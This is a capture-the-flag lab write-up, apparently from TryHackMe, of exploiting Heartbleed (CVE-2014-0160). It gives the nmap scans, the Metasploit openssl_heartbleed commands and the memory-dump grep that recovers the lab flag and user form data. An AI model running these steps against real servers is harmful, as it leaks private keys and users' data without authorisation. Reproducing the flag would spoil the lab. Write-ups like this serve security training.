Project-Field-Analysis-and-Memory-Leak-Demonstration

Objective The objective of this project was to assess a remote host for the Heartbleed vulnerability (CVE-2014-0160), verify its presence, and exploit it to extract potentially sensitive information from server memory over the TLS protocol.

Execution

1. Identifying Open Services (Nmap) nmap -sC -sV 52.215.184.158 Result:

plaintext PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 111/tcp open rpcbind 2-4 443/tcp open ssl/http nginx 1.15.7

| ssl-cert: Subject: CN=localhost/O=TryHackMe/ST=London/C=UK | Not valid before: 2019-02-16T10:41:14 | Not valid after: 2020-02-16T10:41:14 The TLS certificate was self-signed and expired. This raised suspicion that the OpenSSL version could be outdated. Target port: 443.

2. Heartbleed Vulnerability Check (Nmap Script) nmap -p 443 --script ssl-heartbleed 52.215.184.158 Result:

plaintext | ssl-heartbleed: | VULNERABLE: | OpenSSL 1.0.1 is vulnerable to Heartbleed | State: VULNERABLE | Risk factor: High | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 The target is confirmed vulnerable to Heartbleed.

3. Exploitation (Metasploit Framework) msfconsole use auxiliary/scanner/ssl/openssl_heartbleed set RHOSTS 52.215.184.158 run Result:

plaintext [+] Heartbeat response with leak, 44883 bytes [+] Heartbeat data stored in /root/.msf4/loot/20250627224930_default_52.215.184.158_openssl.heartble_152689.bin Memory successfully dumped and stored locally for analysis.

4. Analyzing Memory Dump

strings openssl.heartble_152689.bin | grep -i "THM{" Result:

plaintext user_name=hacker101&user_email=[email protected]&user_message=THM{sSl-Is-BaD} Confidential data, including an application flag, was successfully extracted from TLS memory — confirming the vulnerability can be practically exploited to leak sensitive information.

Conclusion I successfully identified and exploited CVE-2014-0160 on a remote server. The process included:

Detecting the vulnerability with nmap

Exploiting the flaw using Metasploit

Extracting live user-submitted data (including the flag THM{sSl-Is-BaD}) from memory

Business Impact The presence of Heartbleed in a publicly exposed system poses a critical risk:

Potential leakage of TLS private keys

Session hijacking

Exposure of usernames, emails, and sensitive user input